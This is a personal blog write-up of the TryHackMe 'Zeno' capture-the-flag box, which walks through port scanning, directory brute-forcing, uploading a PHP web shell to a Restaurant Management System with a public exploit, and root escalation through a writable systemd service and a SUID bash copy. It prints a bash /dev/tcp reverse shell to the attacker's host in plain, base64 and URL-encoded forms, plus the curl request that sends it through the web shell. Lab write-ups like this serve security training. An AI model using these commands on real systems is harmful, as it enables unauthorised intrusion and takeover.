TryHackMe - Zeno Writeup | Reelix's Site of Stuff

A new Medium difficulty box on TryHackMe was released, so I decided to do a writeup on it.

Troubles from the start

My initial nmap scan (All 65535 TCP Ports) on the box returned a single open Port - 22 (SSH) running OpenSSH7.4. Given the difficulty of the box, I figured that it was some service running on a UDP port, so did a full UDP scan and came up with absolutely nothing.

Knowing how unstable TryHackMe boxes can be on Free accounts, I reset the box, waited 20 minutes, and tried again - With the same result. After additional investigation in their Discord chat, I discovered that this was a common issue affecting users (An unfortunately common occurence in their recent released boxes), and that port-scanning from the on-network TryHackMe Attack Box was the way to go. Doing this led me to an additional open port - 12340

Basic enumeration

Given the new port, I decided to give it a quick scan:

reelix@reelix-1:~$ reecon 10.10.74.206 12340
Reecon - Version 0.27d ( https://github.com/Reelix/Reecon )
Scanning: 10.10.74.206 (Port: 12340)
Unknown Port: 12340 - Info may be unreliable / duplicated - Especially for Web Servers
Port 12340 - HTTP
- Page Title: We've got some trouble | 404 - Resource not found
- DNS: 10.10.74.206
- Server: Apache/2.4.6 (CentOS) PHP/5.4.16
-- Apache Detected
- Other Headers: Date,ETag,Accept-Ranges
- Common Path is readable: http://10.10.74.206:12340/index.html (Len: 3897)
-- EMail: [email protected]
-- [email protected]: mailto:[email protected]

This showed that it was a webserver running a slightly outdated version of Apache on CentOS, the base page was a 404 page (Named index.html), and the page contained a placeholder e-mail address. Visiting the page in Chrome showed no additional useful information. There was a comment tag displaying that this specific 404 page was a template by Simple HTTPErrorPages, although browsing through their Githubs issue list showed nothing useful. As it was a webserver, my next plan was to run gobuster to see if there were any hidden pages. Failing that, it was on to searching for newly released Apache / CentOS exploits.

Thankfully, running gobuster returned an interesting result:

reelix@reelix-1:~/thm/zeno$ gobuster dir -u http://10.10.74.206:12340/ -w ~/wordlists/directory-list-2.3-medium.txt -x.php,.txt,.html -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.74.206:12340/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/reelix/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
2021/11/01 08:20:26 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 3897]
/rms                  (Status: 301) [Size: 238] [--> http://10.10.74.206:12340/rms/]

===============================================================
2021/11/01 09:22:01 Finished
===============================================================

Browsing to this newly discovered rms page showed a detailed Hotel Restaurant Management System:

Registering an account and then browsing through the site showed that it was rather detailed, so I figured that it was simply an existing CMS set up for this specific challenge.

Exploitation

An exploit-db search for "Hotel Restaurant Management Management System", and then "Restaurant Management System" led me to a single exploit. The familiar /rms/ in the exploit led me to believe that this was what I was looking for!

After browsing the exploits code, fixing up some formatting errors, fixing up the URLs, and seeing how it was meant to work, I ran it, then tested that I had code execution:

reelix@reelix-1:~/thm/zeno$ python3 47520 http://10.10.74.206:12340/rms/

    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |
                                             |_|



Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL :http://10.10.74.206:12340/rms/images/reverse-shell.php
reelix@reelix-1:~/thm/zeno$ curl http://10.10.74.206:12340/rms/images/reverse-shell.php?cmd=whoami
apache

Victory!

Changing the command to a URL encoded reverse shell and setting up a pwncat listener got me what I needed:

reelix@reelix-1:~/thm/zeno$ reecon -shell bash
Reecon - Version 0.27d ( https://github.com/Reelix/Reecon )
Don't forget to change the IP / Port!
ens4: 10.142.0.16
docker0: 172.17.0.1
tun0: 10.2.26.203
Bash Shell
----------
#!/bin/bash
bash -i >& /dev/tcp/10.2.26.203/9001 0>&1
Note: File header is only required if it's a file and not a command
Safer: bash -c "bash -i >& /dev/tcp/10.2.26.203/9001 0>&1"
Safer Base64: YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIwMy85MDAxIDA+JjEi
Alt Safer Base64 (No +): YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjIuMjYuMjAzLzkwMDEgPCYx
Safer URL Encoded: bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.2.26.203%2F9001%200%3E%261%22
reelix@reelix-1:~/thm/zeno$ curl http://10.10.74.206:12340/rms/images/reverse-shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.2.26.203%2F9001%200%3E%261%22

Privilege Escalation

After a quick browse in the users home directory and the web directory to see if nothing quick could be gained, I copied lse over to /dev/shm and ran it at level 1 and discovered two interesting things:

2.) That we could write to a system service file "/etc/systemd/system/zeno-monitoring.service"

Attempting zenos password for the only other user on the box - edward - gave us access to him, allowing us to get the first flag - The user.txt file in edwards home directory!

Root

When the service is started, it runs a script. Now, we can alter this value, but the problem is that we can't reboot the box - Or can we!

Running a sudo -ln as edward shows that edward has sudo permissions on /usr/sbin/reboot - Perfect!

Whilst there was no nano on the box (Which I prefer), there was vi which I used (i to set to "insert" to alter text, escape->:wq! to save and exit) to alter the service file.

My initial plan was to set the ExecStart to simply run a .sh file with a shell, although it turns out that edward only had read-only permissions to his home directory which was extremely odd, and all directories he had write access to - /dev/shm and /tmp - Got cleared on reboot, so I had nowhere to put it!

My next plan was to alter ExecStart to add a suid bit to /bin/bash and chown it - Although that didn't work for some reason.

My third plan was to alter ExecStart to directly send a reverse shell back to me - Although that didn't work either!

My fourth plan was to alter ExecStart to copy /bin/bash to a different directory, and suid that - Which worked! Rebooting the box with the reboot priviliges of edward, and running the copied bash file with -p (To preserve root) allowed me to get the final flag located at /root/root.txt - The box was now complete!

Reelix's Site of Stuff

Monday, November 1, 2021

TryHackMe - Zeno Writeup

Troubles from the start

Basic enumeration

Exploitation

Privilege Escalation

Root

No comments :

Post a Comment